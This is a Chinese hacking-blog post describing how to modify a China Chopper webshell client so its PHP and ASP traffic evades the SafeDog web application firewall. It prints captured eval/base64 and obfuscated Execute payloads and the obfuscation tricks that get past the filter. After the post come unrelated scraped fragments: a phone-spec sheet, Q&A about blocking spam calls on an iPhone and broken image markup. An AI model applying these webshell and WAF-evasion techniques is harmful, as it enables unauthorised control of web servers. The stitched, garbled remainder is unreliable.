记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华
过狗菜刀 asp php′ 雨。 |
12:38高考结束了, 考得反正不咋样。 趁分数还没出来,就先happy 一下。无聊翻电脑翻到了一年以前自己做的一把过狗菜刀, 测试了一下 竟然asp还能过狗 , 但是php却已经不过狗了。 仿佛已经好久没搞过站了。P.S: 只给过狗的方法 应该不会直接把刀放出来, 因为自己也是根据以前的刀直接拿来改的, 怕以前的刀有后门害了大家,怕被大家打, 就自己改把, 别人给的方法应该也挺多了 OD+C32 应该就能改好, 这里不多说制作刀的方法了。就自己研究了一下php的过狗的。自己本地懒得去安装狗了， 直接用有狗的站
来测试先拦一下菜刀连接shell时的包。h=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7连接php的时候是用的这个。发现只要有eval(xxx($_POST 这样的就直接拦截了。。 如果是eval(xxx($_POS 这样之类的就不拦截。很简单的就能想到绕过的方法。。 把$_POST稍微的拆分一下。${_P/**/.O.S.T}测试一下。 然后拆分一下 提示404了。 没被狗拦了, 本地测试一下是否能够执行呢。 php结束______________________________________________________________________________asp开始 asp的是很久以前做的了, 没想到现在都还行.随便说一下。先抓一下asp的包。连接菜刀时eval("Ex"%26cHr(101)%26"cute(""Server.ScriptTimeout%3D3600:On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%%22%22Next%3AEnd+Function:Response.Write(""""-&|""""):Ex"%26cHr(101)%26"cute(""""On+Error+Resume+Next:""""%26bd(""""AD4F626A6E672EF626AAA533D3A2F2F2EE3ACCE4D3A466F432E3A533DA4EEE"""")):Response.Write(""""|&-""""):Response.End"")")直接把最外层的eval 改成execute就过了。。测试一下。。 更改后 404了 没被拦截了。。好了 就按照这个直接去做刀就行了。。 我自己做了一把。。上几张效果图。。普通菜刀。。 过狗菜刀 本地还有条老狗。。 过狗刀。 aspx 和 Jsp 都不太会 就没去研究了。
阅读:650 | 评论:0 | 标签:
想收藏或者和大家分享这篇好文章→
? 关注Hackdig微博，点击下方按钮?
? 关注Hackdig微信，学习技术更方便查看: 6161|回复: 0
最后登录15/2/12注册时间12/5/16阅读权限50积分-10精华0帖子金币-15624 枚91币0 枚
钻石: 0 颗
人气: 0 次
金币: -15624 个
发表于 15/5/21 08:57:16
请问一下苹果6p阻止来电号码和信息在哪里可以看大
帖子永久地址：&<button type="submit" class="pn" onclick="setCopy('请问一下苹果6p阻止来电号码和信息在哪里可以看大\n/thread--1.html', '帖子地址已经复制到剪贴板您可以用快捷键 Ctrl + V 粘贴到 QQ、MSN 里。')">推荐给好友
G20峰会期间安全上网通知，广大会员谨防违法分子冒用公检法系统名义传播不实信息，谨防不分子借机进行大范围病毒传播、大规模网络攻击等行为。
GMT+8, 16/8/18 12:29
Powered by404页面没有找到0P0PA31配置_百度知道
0P0PA31配置
您的回答被采纳后将获得：
系统奖励20（财富值+经验值）+难题奖励20（财富值+经验值）
我有更好的答案
曝光日期2015年04月
手机类型4G手机，3G手机，智能手机，拍照手机
触摸屏类型电容屏，多点触控
主屏尺寸4.5英寸
主屏材质TFT材质（IPS技术）
主屏分辨率854x480像素
屏幕像素密度218ppi
窄边框4.77mm
屏幕占比64.54%
网络类型双卡
4G网络移动TD-LTE
3G网络移动3G（TD-SCDMA），联通2G/移动2G（GSM）
支持频段2G：GSM 850/900/
3G：TD-SCDMA 10-2025
4G：TD-LTE 00-50/
WLAN功能WIFI，IEEE 802.11 n/b/g
导航GPS导航，A-GPS技术
连接与共享WLAN热点，OTG，蓝牙4.0
操作系统Android OS 4.4
核心数四核
CPU型号高通 骁龙Snapdragon MSM8916
CPU频率1.2GHz
处理器位数64位
RAM容量1GB
ROM容量8GB/...
其他类似问题
为您推荐：
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁请问苹果6plus手机，想用软件拦截骚扰电话，用什么软件！_百度知道
请问苹果6plus手机，想用软件拦截骚扰电话，用什么软件！
com/zhidao/wh%3D600%2C800/sign=9be1a5ddd658ccbf1be9bd3c29eb07ecaa87c90dda144ad34825a.hiphotos.baidu.hiphotos.jpg" esrc="http./zhidao/wh%3D600%2C800/sign=d0f703e6e79dda38ca7d05/d833c895d143ad4b7d464aaf85025aafa40f0670.jpg" target="_blank" title="点击查看大图" class="ikqb_img_alink"><img class="ikqb_img" src="/zhidao/pic/item/d833c895d143ad4b7d464aaf85025aafa40f0670.jpg" esrc="http.hiphotos.baidu.hiphotos.hiphotos://a;&/zhidao/pic/item/9213b07ecaa87c90dda144ad34825a./zhidao/wh%3D450%2C600/sign=0cb931aeecd/d833c895d143ad4b7d464aaf85025aafa40f0670.jpg" target="_blank" title="点击查看大图" class="ikqb_img_alink"><img class="ikqb_img" src="http.baidu://e://e&/zhidao/wh%3D450%2C600/sign=aeb1354492bfbf932e84e5/9213b07ecaa87c90dda144ad34825a://e://a://a;<a href="http
我有更好的答案
不会因为骚扰电话而影响到工作。安装腾讯手机管家，从而实施对网络电话进行精准的拦截。腾讯手机管家拦截，然后设置拦截模式为“只接受白名单”或者自定义拦截模式“拦截陌生人来电”，开启“骚扰拦截”功能，让大数据技术应用到骚扰拦截中，实现了云端骚扰拦截库的实时更新升级如果越狱请在cydia中下载腾讯手机管家PRO版、生活中的电话联络
苹果手机不越狱是不支持第三方软件的，越狱了以后，可以下载腾讯手机管家拦截骚扰，它可以智能识别接收到的骚扰电话及垃圾短信，并根据号码做拦截处理。而且它还独有信息举报功能，如果你收到骚扰电话及垃圾信息，可以直接通过管家进行一键举报处理，还可以将曾经发来短信、打来电话的所有号码都加入黑名单，这样就可以防止这些号码，再次打电话、发短信过来。
越狱了么360
其他类似问题
为您推荐：
骚扰电话的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁}